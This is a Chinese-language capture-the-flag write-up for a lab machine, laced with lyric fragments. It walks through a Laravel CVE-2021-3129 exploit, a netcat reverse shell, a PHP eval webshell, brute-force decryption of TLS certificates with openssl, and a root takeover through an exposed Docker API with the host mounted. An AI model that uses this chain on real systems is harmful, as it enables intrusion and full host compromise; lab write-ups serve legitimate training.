

Seguimos hablando en el metro

En el restaurante de Hunan

信息收集

靶机ip: 192.168.56.206


```
RustScan: Where scanning meets swagging. 🕶️

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit.
May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use
the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.56.207:22
Open 192.168.56.207:80
Open 192.168.56.207:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-05 21:07 EST
Initiating ARP Ping Scan at 21:07
Scanning 192.168.56.207 [1 port]
Completed ARP Ping Scan at 21:07, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:07
Completed Parallel DNS resolution of 1 host. at 21:07, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF:
0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:07
Scanning 192.168.56.207 [3 ports]
Discovered open port 80/tcp on 192.168.56.207
Discovered open port 22/tcp on 192.168.56.207
Discovered open port 8000/tcp on 192.168.56.207
Completed SYN Stealth Scan at 21:07, 0.03s elapsed (3 total ports)
Nmap scan report for 192.168.56.207
Host is up, received arp-response (0.0011s latency).
Scanned at 2026-01-05 21:07:16 EST for 0s


PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 64
80/tcp    open  http    syn-ack ttl 64
8000/tcp  open  http-alt syn-ack ttl 63
MAC Address: 08:00:27:16:0A:15 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
```

访问80端口



尝试了一通命令注入无果，访问8000端口。



得到使用的框架及其版本，网上找了个能用的exp。

[joshuavanderpoll/CVE-2021-3129: Laravel RCE Exploit Script - CVE-2021-3129 \(user-friendly with automatic log detection\)](https://github.com/joshuavanderpoll/CVE-2021-3129)

GetNobody/Alice

```
(.venv)-(root@kali)-[/home/kali/Desktop/CVE-2021-3129]
# python3 CVE-2021-3129.py --exec "busybox nc 192.168.56.104 4444 -e sh" --force --chain Laravel/RCE12

(CVE-2021-3129)
https://github.com/joshuavanderpoll/CVE-2021-3129
Using PHPGGC: https://github.com/ambionics/phpggc
Documentation
Laracasts

[?] Enter host (e.g. https://example.com/) : http://192.168.56.207:8000
[!] Starting the exploit on "http://192.168.56.207:8000/" ...
[!] Testing vulnerable URL "http://192.168.56.207:8000/_ignition/execute-solution" ...
[!] Searching Laravel log file path...
[+] Laravel seems to be running on a Linux based machine.
[✓] Laravel log path: "/src/laravel/storage/logs/laravel.log".
[+] Laravel version found: "8.83.29".
[!] Clearing Laravel logs...
[!] Executing command "busybox nc 192.168.56.104 4444 -e sh" ...
[!] Generating payload...
[✓] Generated 1 payloads.
[!] Trying chain Laravel/RCE12 [1/1] ...
[!] Clearing logs ...
[!] Causing error in logs ...
[✓] Caused error in logs.
[!] Sending payloads ...
[✓] Sent payload.
[!] Converting payload ...
[✓] Converted payload.
[✓] Output :
```

So dizzy so dizzy

然后蒙上我的眼睛

```
(root@kali)-[/home/kali/Desktop]
# nc -lvvp 4444
listening on [any] 4444 ...
192.168.56.207: inverse host lookup failed: Unknown host
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.207] 37047
ls
favicon.ico
index.php
rev.sh
robots.txt
web.config
cd ..
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ls
README.md
app
artisan
bootstrap
composer.json
composer.lock
config
database
package.json
phpunit.xml
public
```

If I'm a tabby cat

我的橘气化物

成功弹回shell，但是一眼docker容器，尝试逃逸失败。

扒拉了一阵信息也没什么有用的。

但是这时发现容器的权限可以任意写入网页主目录。

那么在网页主目录写马。

```
echo '<?php @eval($_POST["pass"]);?>'>1b.php.207:8000/_
cat b.php
<?php @eval($_POST["pass"]);?>
ls
a.php
b.php
c.php
index.php
cat b
cat b.php
^C sent 232, rcvd 877
```

用蚁剑成功连接

```

(*) 帮助信息
当前路径: /var/www/localhost
磁盘列表: /
系统信息: Linux Lara 6.12.59-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2025-11-25 14:09:09 x86_64
当前用户: root
(*) 输入 ashelp 查看本地命令
(root:/var/www/localhost) $
(root:/var/www/localhost) $ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
(root:/var/www/localhost) $ hostname
Lara
(root:/var/www/localhost) $ cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:12:news:/var/lib/news:/sbin/nologin

```

在/home下发现Alice用户及其文件ilovealice，怀疑是密码，之后成功以alice的身份登录。

```

~# ssh alice@192.168.56.207
The authenticity of host '192.168.56.207 (192.168.56.207)' can't be established.
ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtx
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:11: [hashed name]
  ~/.ssh/known_hosts:94: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.207' (ED25519) to the list of known hosts.
alice@192.168.56.207's password:

Lara:~$ ls
ilovealice  user.txt
Lara:~$ sudo -l
sh: sudo: not found
Lara:~$ find / -perm -4000 -type f 2>/dev/null

```

Root

查看alice当前文件下目录，发现enc文件。

```

Lara:~/docker$ ls -al
total 20
drwxr-sr-x  3 alice  alice    4096 Dec 30 00:31 .
drwxr-sr-x  5 alice  alice    4096 Jan  6 14:46 ..
-rw-r--r--  1 root   alice    5248 Dec 30 00:28 .enc
drwx----- 2 root   root      4096 Dec 30 00:22 certs
Lara:~/docker$ is /home/hali/Desktop/certs
sh: is: not found
Lara:~/docker$ id
uid=1000(alice) gid=1000(alice) groups=1000(alice)
Lara:~/docker$ cd ../hali/Desktop/certs
Lara:~$ ls
ilovealice  linpeas.sh  pspy64  socat-linux-amd64  temp  user.txt
Lara:~$ ./socat-linux-amd64 TCP-LISTEN:8888,fork,bind=0.0.0.0 TCP:127.0.0.1:2376 &
Lara:~$

```

使用老大提供的脚本解密，是一个压缩文件，之后得到三个pem文件

```

cat enc_brute.sh
#!/bin/bash

INPUT_FILE="1.enc"
DICTIONARY="techyout.txt"

while IFS= read -r password; do
    openssl enc -aes-256-cbc -d -in "$INPUT_FILE" -out decrypted.tar.gz -iter
    10000 -pbkdf2 -pass pass:"$password" 2>/dev/null

    if [ $? -eq 0 ] ; then
        a=$(file decrypted.tar.gz|grep 'decrypted.tar.gz: data')
        if [ -z "$a" ];then
            echo "-----"
            echo "找到密码: $password"
            echo "文件已解密为: decrypted.tar.gz"
            echo "-----"
            exit 0
        fi
    fi
done < "$DICTIONARY"

echo "字典已尝试完毕，未发现正确密码。"


```

```
sudo bash enc_brute.sh
```

```

-----
找到密码: 060606
文件已解密为: decrypted.tar.gz
-----

```



之后的路可以说是畅通无阻.....才怪，首先我们要转发出去docker内部的api端口（之前的图已经转发到了8888）

顺便说一下这几个pem的作用（AI）

这三个文件分别对应身份验证中的“验证方”、“身份ID”和“本人证明”：

1. ca.pem (信任公章) 这是信任的根基。你的 Docker 客户端使用它来**验证服务端**的身份，确保你连接的是真正的目标服务器（192.168.56.207），防止连接到黑客伪造的“中间人”服务器。

2. client-cert.pem (公开身份证) 这是你的**公开身份文件**。在建立连接时，你会把它发送给 Docker 服务端，相当于出示一张门禁卡，告诉服务端：“我是被授权的用户，这是我的证件信息。”

3. client-key.pem (私钥指纹) 这是你的**核心机密**，相当于指纹或密码。服务端收到你的“身份证”后，会要求你用这个私钥进行数字签名。**只有拥有此私钥，才能证明你确实是那张“身份证”的主人**，从而获得 Root 控制权。

```
└─(root@kali)-[/home/kali/Desktop/certs]
└─# curl -k https://192.168.56.207:8888/version \
  --cert client-cert.pem \
  --key client-key.pem
{"Platform":{"Name":"","Components":
[{"Name":"Engine","Version":"28.3.3","Details":
{"ApiVersion":"1.51","Arch":"amd64","BuildTime":"2025-12-
02T23:05:51.000000000+00:00","Experimental":"false","GitCommit":"bea959c7b793b32a
893820b97c4eadc7c87fabb0","GoVersion":"go1.24.11","KernelVersion":"6.12.59-0-
lts","MinAPIVersion":"1.24","Os":"linux"}},
{"Name":"containerd","Version":"v2.1.5","Details":
{"GitCommit":"fcd43222d6b07379a4be9786bda52438f0dd16a1"}},
{"Name":"runc","Version":"1.3.4","Details":
{"GitCommit":"d842d7719497cc3b774fd71620278ac9e17710e0"}}, {"Name":"docker-
init","Version":"0.19.0","Details":
{"GitCommit":""}]}, {"Version":"28.3.3","ApiVersion":"1.51","MinAPIVersion":"1.24",
"GitCommit":"bea959c7b793b32a893820b97c4eadc7c87fabb0","GoVersion":"go1.24.11","O
s":"linux","Arch":"amd64","KernelVersion":"6.12.59-0-lts","BuildTime":"2025-12-
02T23:05:51.000000000+00:00"}]
```

用curl查看，确定可以访问。

```
└─(root@kali)-[/home/kali/Desktop/certs]
└─# docker --tls \
  --tlscert=client-cert.pem \
  --tlskey=client-key.pem \
  -H tcp://192.168.56.207:8888 \
  version
Client:
Version:      26.1.5+dfsg1
API version:  1.45
Go version:   go1.24.2
Git commit:   a72d7cd
Built:        Sat May 24 17:38:32 2025
OS/Arch:      linux/amd64
Context:      default

Server:
Engine:
Version:      28.3.3
API version:  1.51 (minimum version 1.24)
Go version:   go1.24.11
Git commit:   bea959c7b793b32a893820b97c4eadc7c87fabb0
Built:        Tue Dec 2 23:05:51 2025
OS/Arch:      linux/amd64
```

```
Experimental:    false
containerd:
  Version:       v2.1.5
  GitCommit:     fcd43222d6b07379a4be9786bda52438f0dd16a1
runc:
  Version:       1.3.4
  GitCommit:     d842d7719497cc3b774fd71620278ac9e17710e0
docker-init:
  Version:       0.19.0
  GitCommit:
```

探测docker容器

```
└─(root@kali)-[/home/kali/Desktop/certs]
└─# # 在当前终端设置别名 (临时生效)
alias dhost='docker --tls --tlscert=client-cert.pem --tlskey=client-key.pem -H
tcp://192.168.56.207:8888'
```

```
└─(root@kali)-[/home/kali/Desktop/certs]
└─# dhost images
```

REPOSITORY	TAG	IMAGE ID	CREATED	SIZE
laravel-vuln	latest	aaf7bbe495b7	9 days ago	141MB

成功root

```
└─(root@kali)-[/home/kali/Desktop/certs]
└─# # 使用本地的 laravel-vuln 镜像, 并尝试启动 /bin/bash (如果没有bash则尝试 /bin/sh)
dhost run -it --rm -v /:/mnt laravel-vuln /bin/sh
/src/laravel # chroot /mnt /bin/bash
chroot: can't execute '/bin/bash': No such file or directory
/src/laravel # chroot /mnt /bin/sh
/ # id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # cd /root
~ # ls
root.txt
~ # cat root.txt
flag{root-ed49d353365dfcf95b6bf8df1b7a2dc}
~ #
```

真的是一路要提示过来的 (除了user部分), 太菜了我, 以后要看一看docker和openssl加密这一块。